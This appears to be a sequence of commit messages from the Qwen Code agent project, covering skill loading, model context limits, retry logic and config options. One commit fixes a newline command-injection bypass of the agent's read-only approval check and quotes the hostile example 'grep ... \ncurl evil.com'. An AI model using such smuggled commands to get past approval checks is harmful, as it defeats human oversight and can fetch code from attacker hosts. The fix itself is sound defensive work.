Add support for loading skills from symlinked directories in the skill manager. This allows users to organize and share skills more flexibly by using symbolic links.
Changes:
- Modified skill discovery logic to detect and follow symlinks
- Added validation to ensure symlink targets point to valid directories
- Skip broken or invalid symlinks with appropriate warnings
- Added comprehensive test coverage for symlink scenarios
When vitest loads @qwen-code/qwen-code-core from source files (via alias),
ripgrepUtils.ts failed to find the bundled ripgrep binary because it only
handled bundle and transpiled code paths.
Added detection for source file loading (.ts files in src/utils/) to correctly
resolve the vendor path (2 levels up instead of 3).
Also refactored the path resolution logic to be more concise using levelsUp
calculation.
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
- Update license header to include Qwen copyright
- Add error handler for spawn in dev.js
- Refactor core/src/index.ts to export all public APIs
- Simplify core/index.ts to be a clean re-export
- Fix vitest alias to point to package entry
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
- Add normalizeSkillFileContent function to skill-load.ts
- Update regex to allow frontmatter ending without trailing newline
- Add comprehensive tests for CRLF, BOM, and edge cases
Fixes#1666
Anthropic's Node client uses node-fetch, which expects a Node http(s).Agent.
Stop providing undici's Dispatcher as httpAgent; only set httpAgent when a proxy
is configured (via https-proxy-agent), otherwise let the SDK use its default.
- Footer.test.tsx: provide contextWindowSize in mock config to match
Footer component's new requirement for displaying context usage
- tokenLimits.test.ts: consolidate Kimi K2 tests and update expectations
to 256K for all variants to match the implementation
- Fix contextWindowSize not updating when switching models via setModel()
- Fix ACP agent to respect provider-configured contextWindowSize before auto-detection
- Simplify getTruncateToolOutputThreshold to use static threshold
- Add support for GLM-4.7, Kimi-2.5, and MiniMax-M2.1 models
- Update context usage display to require explicit contextWindowSize
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
Add extra_body configuration option to model.generationConfig for passing
custom parameters to OpenAI-compatible API request bodies.
- Add extra_body to ContentGeneratorConfig type
- Add extra_body to MODEL_GENERATION_CONFIG_FIELDS and ModelGenerationConfig
- Implement extra_body merging in DefaultOpenAICompatibleProvider
- Implement extra_body merging in DashScopeOpenAICompatibleProvider
- Update documentation with examples and provider compatibility notes
- Note: This feature is only for OpenAI-compatible providers (openai, qwen-oauth)
Resolves#1647Resolves#1644
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
- Delete orphaned fallback/handler.ts and its tests (no longer imported
after removing onPersistent429 callback)
- Add JSDoc to getErrorStatus() documenting property check priority
- Fixed issue where all skills were installed instead of only configured ones
- Resource paths now preserve subdirectory names (e.g., skills/xlsx -> skills/xlsx/)
- Support default fallback: use all resources from folder if not specified in config
- Added comprehensive tests covering explicit config, default behavior, and nested structures
The splitCommands function only split on &&, ||, ;, &, and | but not on
newlines. This allowed attackers to bypass read-only command checks by
injecting malicious commands after a newline.
For example:
grep ^Install README.md\ncurl evil.com
The safety check would only see 'grep' (a read-only command), but the
subsequent 'curl' command would execute without approval.
Changes:
- Split on Unix (\n) and Windows (\r\n) newlines in splitCommands
- Handle escaped newlines (\\n) as line continuation
- Filter empty segments from consecutive newlines
- Add comprehensive security tests for multi-command scenarios
Fixes CVE-style command injection vulnerability
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
- Increase max retry attempts from 5 to 7 for better resilience
- Reduce initial delay from 5000ms to 1500ms for faster recovery
- Simplify getErrorStatus() to handle more status field variations
(status, statusCode, response.status, error.code)
- Remove model fallback mechanism (onPersistent429 callback)
- Remove isQwenThrottlingError() in favor of generic retry logic
- Clean up retry logging and error handling code
This improves the experience for users on services with throttling
like Idealab by providing more robust and faster retry behavior.
Related to #973
- Skip thought parts when accumulating roundText so reasoning content
does not leak into the subagent's final answer.
- Remove unnecessary `as SubAgentStreamTextEvent` type assertion.
- Add core tests for STREAM_TEXT thought flag and finalText exclusion.
When the model tries to invoke a skill name directly as a tool
(e.g., Tool: "pdf" instead of Tool: "Skill" with skill: "pdf"),
provide a clear error message explaining how to properly invoke skills.
🤖 Generated with [Qoder][https://qoder.com]